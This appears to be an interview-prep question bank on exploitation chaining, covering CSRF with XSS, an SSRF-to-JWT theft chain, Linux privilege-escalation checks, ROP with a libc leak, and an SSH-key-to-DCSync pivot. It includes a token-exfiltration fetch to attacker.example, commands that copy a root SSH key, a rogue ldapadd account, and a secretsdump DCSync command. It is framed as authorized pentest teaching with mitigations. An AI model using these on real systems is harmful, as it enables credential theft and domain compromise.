Vulnerability Exploitation and Chaining Questions

Covers the discovery and exploitation of software and network vulnerabilities, common vulnerability patterns, and techniques for chaining multiple issues to escalate access and achieve persistent compromise. Candidates should demonstrate knowledge of common classes of vulnerabilities such as the Open Web Application Security Project Top Ten for web applications, network service misconfigurations, weak authentication mechanisms, improper access controls, and privilege escalation vectors. Assess understanding of the exploitation process end to end: how initial footholds are obtained, how separate vulnerabilities are combined into exploitation chains to move from low privilege to high privilege, methods for maintaining persistence, and tactics for avoiding detection. Candidates may be asked to describe concrete exploitation techniques they have used, to design hypothetical exploit chains for sample applications or architectures, and to explain the real world impact and mitigations for the identified weaknesses.

MediumTechnical

20 practiced

Describe how Cross-Site Request Forgery (CSRF) can be chained with an XSS to escalate impact in an application where administrative actions require an anti-CSRF token. Explain what additional steps an attacker needs to take and how the presence of HTTP-only cookies affects the chain.

Sample Answer

**Brief summary**

An XSS can escalate impact by defeating anti‑CSRF tokens: once an attacker executes JS in a victim admin’s browser, they can read or exfiltrate the CSRF token (if accessible in DOM/JS), then perform authenticated state-changing requests that include that token.

**Attack chain / steps an attacker needs**1. Find an XSS that runs in the admin context.2. Use injected JS to locate the anti‑CSRF token (e.g., hidden form input, meta tag, or JS variable).3. Exfiltrate the token or immediately perform the privileged action from the page context: - Exfiltrate: send token to attacker server, then craft server-side CSRF with token. - Immediate action: send a fetch/XHR from the injected script including token; cookies are automatically sent for same-origin.Example exfiltration:

javascript

// find token in DOM and POST it out
const t = document.querySelector('input[name=csrf]').value;
fetch('https://attacker.example/collect', { method:'POST', body: t });

**Effect of HTTP‑only cookies**- HTTP‑only prevents JS from reading cookie values, but doesn’t prevent JS from making requests that include cookies (browsers attach them automatically for same-origin requests). So XSS cannot directly steal session cookies, but it doesn’t need to if it can read the CSRF token in DOM or in JS memory. If both the token and session cookie are inaccessible to JS (token stored server-side only in http-only cookie or SameSite=strict and not in DOM), chaining is harder.

**Defensive notes**- Store anti‑CSRF tokens in http-only cookies bound to server-side state or use double-submit with SameSite=strict, and implement Content Security Policy + input validation to prevent XSS.

HardSystem Design

17 practiced

Design an exploit chain that starts from a reflected XSS in a public microservice that makes internal HTTP calls and ends with stealing admin JWTs used across microservices. Include how you would discover internal endpoints, bypass SameSite/HTTP-only protections if present, and how to validate that stolen tokens work across services.

Sample Answer

**High-level goal**Exploit a reflected XSS in a public microservice (MS-A) that can be coerced to make internal HTTP calls, then use SSRF-like behavior to reach internal admin endpoints, extract admin JWTs (even if HttpOnly/SameSite set), and validate reuse across services.

**1) Clarify assumptions & reconnaissance**- MS-A reflects attacker-controlled input and issues server-side requests to URLs under attacker control or to internal hosts (parameter like ?url=).- Internal services use same JWTs for SSO across microservices.- You have an authorized engagement and scope.

**2) Exploit chain summary**- Use reflected XSS payload served to an admin (via phishing) to execute JS in admin context of MS-A.- JS triggers server-side internal requests (leveraging MS-A’s internal-call parameter) to enumerate internal endpoints (simple port/path discovery).- Identify endpoints that disclose tokens (debug endpoints, /whoami, /sessions, or endpoints that reflect headers/cookies).- Exfiltrate token material back to attacker-controlled server.- Validate token by calling internal APIs with Authorization: Bearer <token>.

**3) Discovering internal endpoints (via SSRF enumeration)**- From injected JS, repeatedly invoke the internal-call feature with different host:port/path combinations to map services.- Example request pattern (conceptual):

http

GET /fetch?url=http://10.0.0.5:8080/health

- Automate scanning for common internal names (auth, admin, api, 127.0.0.1, metadata endpoints) and ports (80, 443, 8080, 9000).

**4) Bypassing HttpOnly / SameSite protections**- You cannot read HttpOnly cookies from browser JS. Instead: - Find internal endpoints that echo authentication headers or session info (e.g., internal /debug, /metrics, /sessions) via SSRF; server-side requests include internal cookies or privileged headers, and responses may contain JWTs. - Force MS-A to perform an internal request that returns a Set-Cookie header containing the admin JWT in plaintext (misconfigured internal service). - For SameSite=Strict/ Lax, use server-side requests (SSRF) since they are initiated by MS-A and include cookies regardless of browser SameSite rules.- If internal services store tokens in Authorization headers, look for endpoints that reflect request headers in body (misconfig).

**5) Exfiltration technique**- Craft XSS to cause MS-A to call: - An internal endpoint that responds with token in body → MS-A will include that body in its response (if it reflects) or forward it to an attacker callback via the vulnerable parameter.- Example attacker callback: - Trigger MS-A to request internal URL and forward response to https://attacker.example/collect?data=<resp> (if MS-A supports open redirect or URL-get).- If MS-A returns internal response directly to the admin’s browser (reflected), use XSS to read it and send to attacker via fetch/image beacon.

**6) Validating stolen JWTs**- Use token against internal service endpoints:

http

GET /admin/health HTTP/1.1
Host: internal-api
Authorization: Bearer <stolen-jwt>

- Successful access or privileged API responses confirm token usability.- Decode JWT header/payload locally (e.g., jwt.io) to inspect claims, expiry, and signing alg; attempt to verify signature if you can access public keys or query .well-known/jwks.json on auth service.

**7) Example PoC flow (conceptual)**- Lure admin to URL containing XSS payload that: - Calls MS-A’s internal-fetch endpoint for http://internal-auth/sessions or /whoami - Reads returned token from response body (or Set-Cookie reflected) - Sends token via POST to https://attacker/receive- On attacker side, attempt API calls to internal services with the token to confirm access.

**8) Defensive recommendations**- Reject attacker-controlled server-side request URLs; whitelist internal calls.- Treat internal endpoints as non-public: remove debug endpoints, do not reflect headers or cookies.- Use per-service scoped tokens and rotate them; avoid reuse of same JWT across services.- Enforce HttpOnly/Secure and SameSite with server-origin validation, and ensure SSRF protections and input validation.- Implement token binding or mTLS between services.

Notes: This describes attacker-style methodology for an authorized pentest. Do not perform against production targets without permission.

EasyTechnical

35 practiced

On a Linux host, list three common privilege escalation vectors (configuration or binary-related) and describe a short proof-of-concept action or command you would use to verify whether each vector exists (without causing service disruption).

Sample Answer

**Situation:** As a penetration tester I look for config- or binary-related privilege-escalation vectors that are low-impact to verify. Below are three common vectors with short, non-disruptive PoC checks.

**1) SUID binaries**- Why: SUID root binaries run with elevated privileges; misused or outdated ones can be abused.- PoC (discover and inspect):

bash

# find system SUID files and list them
find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null | head -n 50

- Follow-up: If a candidate binary is found, record path, owner and version; don't execute it. Cross-reference against known vulnerable SUIDs (GTFOBins).

**2) Writable cron jobs or scripts**- Why: If cron runs a script that's writable by an unprivileged user, you can alter the script to get code executed as the cron owner.- PoC (find world- or group-writable cron files and system crons):

bash

# list writable files in cron directories
find /etc/cron.* /etc/crontab -type f -writable -ls 2>/dev/null

# check if your user can edit another user's crontab file location (safe: only check write bit)
ls -l /var/spool/cron /var/spool/cron/crontabs 2>/dev/null

- Follow-up: If a file is writable by you, note it; do not modify.

**3) Writable directories in PATH (PATH hijack)**- Why: If a directory in root-owned PATH is writable by an attacker, placing a binary there may be executed by privileged processes.- PoC (inspect PATH and permissions):

bash

# show PATH entries and check permissions
echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {} 2>/dev/null

- Follow-up: Any PATH entry writable by others is a high-confidence vector; report exact path and permission bits.

For each finding, include owner, permission bits, full path, and recommended remediation (remove SUID where unnecessary, fix file ownership/mode, restrict cron/script permissions, remove writable PATH entries).

HardTechnical

33 practiced

Given a stripped 64-bit ELF binary with NX and ASLR enabled but no stack canary, outline how you'd build a reliable ROP chain to call execve('/bin/sh'). Explain how you would locate gadgets, leak addresses to bypass ASLR, and possible methods to retrieve libc base without writing to disk.

Sample Answer

**Approach summary (goal)** Build a ROP chain that (1) leaks a libc address to defeat ASLR, (2) computes libc base, and (3) calls execve("/bin/sh",0,0) (or system("/bin/sh")) — all without writing to disk.

**1) Locate gadgets** - Use static binary analysis tools (ROPgadget, radare2, rizin, objdump) to find useful gadgets: pop rdi; ret, pop rsi; pop rdx; pop rax; syscall/ret. - Prioritize short, reliable gadgets in the binary (not in libc) so initial ROP works even before libc base known. If binary is stripped, still search its .text and PLT for gadgets. Add a single "ret" gadget to fix stack alignment on x86_64.

**2) Leak a libc address to bypass ASLR** - Leak a GOT entry via a call to puts/printf/write in the PLT using ROP. Typical chain: set rdi = <GOT address of libc function like puts or __libc_start_main>, call puts@plt, then return to main (or controlled pivot) to receive output. That output reveals a libc symbol address. Example pseudo-ROP:

text

# pop rdi; ret
[ pop_rdi ]
[ GOT_puts ]         # argument to puts
[ puts_plt ]
[ main_addr ]        # return to main for second stage

- Read the leaked bytes from the process output and compute libc_base = leaked_addr - known_offset (offset from libc symbol to libc base).

**3) Build final ROP to execve("/bin/sh")** - Option A: If execve present in libc, call execve with arguments: rdi = pointer to "/bin/sh" (string in libc or push into writable section), rsi = 0, rdx = 0. - Option B (common): call system("/bin/sh") or use one_gadget offsets (careful: constraints). Example final ROP after computing libc base:

text

[ pop_rdi ] 
[ addr_of_/bin/sh_in_libc ]
[ ret ]             # stack align
[ system_addr ]     # libc_base + offset_system

- If "/bin/sh" not in libc, write it to writable memory via write/read or use libc's strdup/memcpy.

**4) Getting libc base without writing to disk** - Leak GOT via puts/write as above (no disk). - Read /proc/self/maps by invoking read/open? Simpler: call write(1, got_addr, 8) or puts(got) — smaller ROP surface. - Use dynamic linker resolver via ret2dl_resolve (complex) — avoid if possible.

**5) Reliability tips** - Return to a safe function (main) after leak to reset state and avoid crashes. - Align stack with a ret if necessary. - Use multiple smaller leaks (two different GOT entries) to cross-check offsets and detect ASLR partials. - Handle partial reads: loop or parse until full pointer sized leak received. - Test locally with same libc version; bundle offsets in exploit and adapt to remote by brute-forcing nearby offsets if needed.

This flow (gadget discovery → GOT leak → compute libc base → ROP to execve/system) is standard, reliable, and requires no disk writes.

HardTechnical

16 practiced

You have obtained a low-privileged Linux shell on a host that runs containers and has SSH keys for an admin in /root/.ssh that are world-readable due to a misconfiguration. Provide a clear, step-by-step exploitation and post-exploitation chain to move from your shell to domain-level access in an enterprise environment that uses LDAP-based authentication. Describe assumptions and mitigations.

Sample Answer

**High-level summary**Stepwise chain: discover & exfiltrate world-readable root SSH key → use key to pivot to admin host(s) → locate LDAP/AD bind credentials or secrets → escalate to account with LDAP/AD modify rights (or extract krb/NTLM creds) → perform LDAP write or DCSync → obtain domain-level access. Below I show actionable steps, assumptions, and mitigations.

Assumptions- You have an authorized test engagement and permission for this activity.- The environment uses SSH between hosts and stores a usable private key at /root/.ssh (no passphrase or passphrase can be cracked).- LDAP = OpenLDAP or Active Directory (AD) accessed from Linux/Windows hosts; some hosts reachable via the SSH key.- Containers share host FS or have /root accessible (misconfigured), and network ACLs allow internal access.

Step-by-step exploitation (high level + concrete commands)1) Recon from your low-priv shell- Confirm key presence and read it:

bash

ls -la /root/.ssh
cat /root/.ssh/id_rsa > /tmp/id_rsa
chmod 600 /tmp/id_rsa

2) Test SSH pivot- Try SSH to likely admin/jump hosts (scan internal subnet from container/host).

bash

ssh -i /tmp/id_rsa admin@10.0.1.5

- Use ssh-agent forwarding if necessary:

bash

eval $(ssh-agent -s)
ssh-add /tmp/id_rsa
ssh -A admin@10.0.1.5

3) Post-exploit on admin host — search for LDAP/AD secrets- On a Linux admin host, search for config files, scripts, password stores, or Ansible/vault files: - /etc/ldap.conf, /etc/sssd, /etc/krb5.conf, /opt/*, /home/admin/.ssh, /home/admin/.aws- Example: dump a config with bind creds:

bash

grep -R "bindpw\|bind_dn\|password" /etc /home 2>/dev/null

- If AD, check for Kerberos tickets:

bash

klist

4a) If you find LDAP bind credentials with write privileges- Use ldapmodify or ldapadd to create a new administrative user or add your account to an admin group (for OpenLDAP):

bash

ldapadd -x -D "cn=admin,dc=example,dc=com" -w 'found_password' -H ldap://ldap.internal <<EOF
dn: cn=ptest,ou=users,dc=example,dc=com
objectClass: inetOrgPerson
cn: ptest
sn: tester
userPassword: P@ssw0rd123
EOF

- For AD, use tools like ldapmodify or PowerShell Remoting after gaining RDP/WinRM from a Windows host.

4b) If you can access a Windows admin workstation- Extract credentials/tickets with mimikatz or secretsdump (requires appropriate Windows access): - Use mimikatz to dump LSA secrets or cached credentials, then perform DCSync if you get a domain credential with replication rights.- Use impacket-secretsdump.py or Invoke-Mimikatz to harvest NTLM hashes and test pass-the-hash or kerberoast.

5) Achieve domain-level privileges- If you obtain a user with replication rights or domain admin, perform DCSync to pull krbtgt and all hashes:

bash

impacket-secretsdump -just-dc -outputfile dump domain/replicator:password@dc.domain.local

- If LDAP/AD write was possible, create a privileged account/service and use it to authenticate across domain services.

Post-exploitation: persistence and cleanup- Create limited, well-named accounts or scheduled tasks; collect audit evidence for reporting; do not destroy critical services. Document exact access and artifacts.

Key reasoning behind steps- World-readable root keys are high-value credentials that can pivot laterally; locating configuration files and secrets on admin hosts is high-yield because many services still embed credentials.- Two main paths: (A) obtain LDAP/AD bind with modify privileges (direct LDAP write), or (B) pivot to Windows, extract domain creds, and use AD tools (DCSync, Kerberoast).- Using existing SSH keys avoids noisy exploits and leverages trust relationships.

Mitigations (defensive recommendations)- Strict file permissions: /root/.ssh/* must be 600 and owned by root; enforce filesystem permissions via baseline scans.- Prevent key reuse: Use short-lived keys, hardware-backed keys, and unique keys per host.- Restrict SSH trust: Use bastion/jump hosts, restrict admin key usage with from=, command= options in authorized_keys and network ACLs.- Secrets management: Remove hardcoded bind passwords; use vaults (HashiCorp Vault, Azure Key Vault) and avoid storing creds in configs or Ansible inventories.- Monitor and detection: EDR/IDS for unusual SSH connections, access to LDAP changes, creation of new users, Kerberos anomalies (kerberos pre-auth failures, unusual TGT requests), and monitor read of /root/.ssh.- Principle of least privilege: Limit which accounts can modify LDAP/AD; restrict replication rights; rotate service account credentials and enforce MFA for administrative access.

Ethical note- Only perform these steps under explicit authorization, with scope defined in a penetration test engagement. Capture and report all artifacts and remediation steps.

Unlock Full Question Bank

Get access to hundreds of Vulnerability Exploitation and Chaining interview questions and detailed answers.

Join thousands of developers preparing for their dream job.